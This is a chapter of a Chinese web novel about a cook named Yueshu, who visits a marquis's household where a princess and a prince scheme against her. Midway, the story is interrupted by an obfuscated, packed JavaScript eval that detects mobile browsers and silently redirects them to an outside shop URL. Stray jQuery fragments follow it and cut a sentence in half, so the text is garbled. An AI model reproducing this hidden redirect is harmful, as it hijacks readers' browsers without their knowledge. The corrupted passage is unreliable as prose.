文趣网 > 都市小说 > 食肆女掌柜她跑路了 > 27. 仇人相见,和和气气
    周嬷嬷径直走在前头,仿佛后面有眼睛似的,警告道:“不该看的别看!快到了,今日侯夫人有客,你便在后厨的偏房等着吧。”

    月书不语,只是跟在身后,周嬷嬷皱眉转身:“听懂了?”

    月书点头。

    周嬷嬷把她带到偏房后,便离开了。

    月书将食盒放在桌上,在房中转了一圈,隐隐约约听到了隔壁后厨的谈话声。

    月书搬了把椅子坐在墙边,从荷包里拿出了一包瓜子,边嗑边听。

    “看见了吗?刚才那个小女郎。”

    “看见了看见了,她是谁啊?”

    “我娘说是郡主请来特地做寿席的。”

    “这么年轻的厨子,她行不行啊!”

    “行不行得试过了再说,不过近日她要等很久了。”

    “为何?”

    “前几日她来侯府要账,整整一千六百两,郡主怎会甘心,定会给她个下马威,教她做人?”

    “对,惹怒了郡主没有好果子吃,更何况你看她那张脸。”

    几人笑了起来,之后便是有后厨叮铃桄榔的炒菜声。

    月书听得无趣,将瓜子放回荷包里,看了看天色,阳光透着乌云的缝隙透了出来,她伸手遮住眼睛,嘴角上扬。

    此时肚子咕噜噜响了起来,她回到座位,从鼓鼓囊囊的荷包里取出一个葱油饼。

    早上张婶起得比她都早,一直在准备吃食,往荷包里塞,生怕她在外面饿着。

    月书笑眯眯地啃起了葱油饼。

    “都拿走,都拿走。”自从上次在宴席上,周烟吃了月书做的柚子东坡肉。

    周烟现在吃什么都觉得没滋没味:“她怎么样?”

    眠眠坐在周烟对面,慢条斯理地用膳:“传话的人说,在啃葱油饼。”

    “她哪来的葱油饼,厨房的人给的?”周烟皱眉。

    眠眠放下筷子,摇头:“她自己带的。”

    周烟朝外面喊道:“秋月。”

    一个穿着鹅黄色衣衫的侍女走了进来:“郡主。”

    “她都做了些什么?”

    秋月老实道:“她到了偏房以后先是东看看西看看。”

    周烟冷哼:“没见过世面的女人。”

    见周烟没再说,秋月继续道:“然后搬了把椅子坐在墙角嗑瓜子,然后走到屋外看了看天色,然后开始从她那个荷包里拿了许多东西吃,葱油饼、糖葫芦、糕点、好像还有肉条。”

    周烟掌拍在桌上,气怒:“她当她是来侯府郊游的?”

    眠眠用完膳,站到周烟身后:“这女子不简单,二殿下只是见了她两面,就跑去食肆找她了。”

    周烟冷笑:“哼,今日我要她有来无回,进了侯府,谁都救不了她。”

    “秋月,把她叫到母亲跟前试菜,做戏要做全套才是。”

    安平侯府花厅,上首坐着安平侯夫人和周烟二人。

    “月掌柜,又见面了。”

    月书行礼:“见过侯夫人,见过郡主。”

    侯夫人抬手,笑道:“坐吧,前几日吃了你做的东坡肉,我和烟儿都是念念不忘。”

    周烟笑眯眯走进,拉着月书坐下:“是啊,月姐姐今日带了什么好吃的”

    月书笑容温和,从带来的食盒里取出一盘晶莹剔透的糕点,小兔子的形状,甚是可爱。

    “兔子水晶糕,您尝尝。”

    周烟脸色微变,拿了一块兔子糕点往嘴里送,透明如玉的外皮,一口咬下去软糯Q弹,内馅是奶黄色,尝起来奶香与鸡蛋香相融合,咬到中间一瞬爆浆,她眼睛一亮。

    月书已经料到了她的反应:“流心的部分是咸蛋黄研磨成碎加入了羊奶、白糖等物。”

    周烟点点头,回味了一番:“确实比风雅集的糕点更好吃。”

    月书将盘子交给身边的侍女,侯夫人从盘中取了一块糕点,咬了一口点头:“嗯,月掌柜的手艺不错。”

    周烟端了杯茶递给她:“月姐姐的小兔子糕点当真好,不知姐姐可愿意在府上住一晚,教教我。”

    月书本意也是想要找理由留在侯府,周烟主动相邀那再好不过,当然也不可能相信周烟是真的喜欢她。

    侯夫人笑了笑:“难得烟儿有喜欢的女郎。”

    月书假作为难:“民女自是愿意,只是食肆…”

    周烟生怕被拒绝,急道:“月姐姐别担心,我会派人去食肆知会,你只管安安心心在侯府玩。”

    “那就恭敬不如从命了。”实际上出门之前她便已经嘱咐张婶了。

    侯夫人道:“不知上回的柚子糖可还有?”

    月书从身上的大荷包里拿出了一个油纸袋,里面装了许多柚子糖。

    查三送了好些柚子到店里,一次性做了许多,一半给了生哥儿,这一半则是特地带过来的。

    师父曾与她说过,消渴症实际就是糖尿病,病人多会有低血糖的症状,故而身边放几颗糖,是最好的。

    “有的有的,夫人可随身携带,头晕之时吃上一颗能够缓解。”

    “月姐姐,你真是人美心善。”周烟挽着她的手。

    月书心中厌恶,但是面上却还是一副受宠若惊的模样:“郡主谬赞了。”

    “快,收拾收拾客房。”

    侯夫人的声音打断了她的思绪。

    周烟道:“不用收拾了,月姐姐与我住一个院子,我的院子又大又舒服。”

    侯夫人:“好好,你们玩去吧。”

    月书随着周烟到了她住的含玉阁,含玉是元丰帝亲赐的封号,含玉郡主。

    她肖似其姨母,就是二皇子的母妃玉贵妃,元丰帝爱屋及乌对这个外甥女甚是宠爱,甚至高过了皇后所出的明月公主。因此明月与含玉二人从小就是明争暗斗。

    “今日表哥要来侯府,月姐姐随我去见见表哥可好?”

    月书身子被定住了般,心口袭来钻心的疼,此次来的目的可不是为了他:“可以不见吗?”

    周烟撒娇道:“此刻表哥定是在书房与父亲议事,无聊得紧,好姐姐,你陪陪我吧。”

    月书淡淡道:“那好吧。”

    周烟拉着月书在厨房里制作糕点,说是等二皇子来了给他吃的。

    月书忍着没往糕点里面下毒,为了能够找机会去安平侯的书房,这是个好机会。

    周烟也是十分欣喜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681347|207703||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,非要抢着生火,原本娇俏绝美的脸上都是面粉,嘴巴周围的一圈都是黑色的烟灰。

    外面传来二皇子进府的消息,“月姐姐,我去洗漱一番,待会儿你陪我一起啊。”

    周烟回到闺房,看见镜子里的自己,恨不得砸碎了镜子:“眠眠,我演技有进步吗?”

    眠眠眼角弯弯:“郡主真棒,这次打算怎么做?”

    “先让表哥再见她一面,以后可就再也见不到了。”周烟笑容阴森,令人不寒而栗。

    安平侯的书房,安平侯弯腰施礼,叶承允连忙扶起:“都是自家人,舅舅不必行礼。”

    “礼不可废。”安平侯还是坚持行了礼。

    “舅舅,柳无绝在何处?”

    安平侯:“在烟儿身边,您打算如何处置她?”

    叶承允一袭白衣,嘴角时刻含着笑,此刻却是义愤填膺道:“按律例,杀人偿命,何况半月里她杀了整整六人,行迹之恶劣,骇人听闻。”

    安平侯拍案,依旧坐在椅子上并未起身:“本侯,这就将她扭送至大理寺!”

    叶承允轻轻拂了拂衣袖,递给安平侯一个卷轴:“舅舅莫急,药王谷地处大丰与南朝边境交壤之地,据说谷中能人异士繁多,镇蛊之宝金蚕蛊更是可以操控人心。”

    安平侯展开卷轴,眼睛一亮,喜道:“柳无绝居然是大祭司的亲生女儿,药王谷的圣女,若是将她保下,那药王谷必定归顺大丰,届时二皇子岂不是又添了一份功绩,殿下真是为国为民殚精竭虑啊。”

    “舅舅谬赞了,本殿不过是为了江山社稷多想了几分罢了。”叶承允见目的达到,很是高兴,他什么都不用做,只要他一句话,全都是为了他赴汤蹈火的人。

    “咚咚咚!”书房门被敲响。

    “父亲,是表哥来了吗?”清脆声音在门外响起。

    叶承允从怀中取出一块雕琢精美的玉狐狸坠子道:“答应了烟儿妹妹的坠子,舅舅…”

    安平侯大笑:“去吧,去吧,难得殿下还想着烟儿。”

    房门被推开,周烟就提着食盒跑了进来,“父亲,表哥,这是我做的糕点,可好吃了,你们快尝尝。”

    安平侯乐呵呵地取了块糕点:“好,我尝尝,嗯~烟儿的手艺不错,殿下也尝尝。”

    叶承允笑容和煦,本是不喜这些小女儿家的糕点,伸手取了一块糕点咬了一口。

    这糕点倒是稀奇,从未见过这般栩栩如生的狐狸造型:“甜而不腻,确实不错。”

    月书站在院中,往里瞧着,早知如此在糕点里放些毒药,把他毒死,或是上前用袖中银针将他刺死。

    死纵然简单,她可不想给这畜生陪葬,她必定是要长长久久地活着,看着这些人失去最重要的东西才能解她心头之恨。

    周烟拉着叶承允,手指向书房外,月书慌忙低头,移开视线。

    “表哥,是那个厨娘教我做的糕点。”

    叶承允恩了一声,不过是个下等厨娘,他并不感兴趣。

    周烟边说边观察叶承允的表情:“表哥,她叫月书。”

    叶承允猛地抬头,月书?那个和他未婚妻同名同姓的厨娘?心头喜悦之情溢于言表。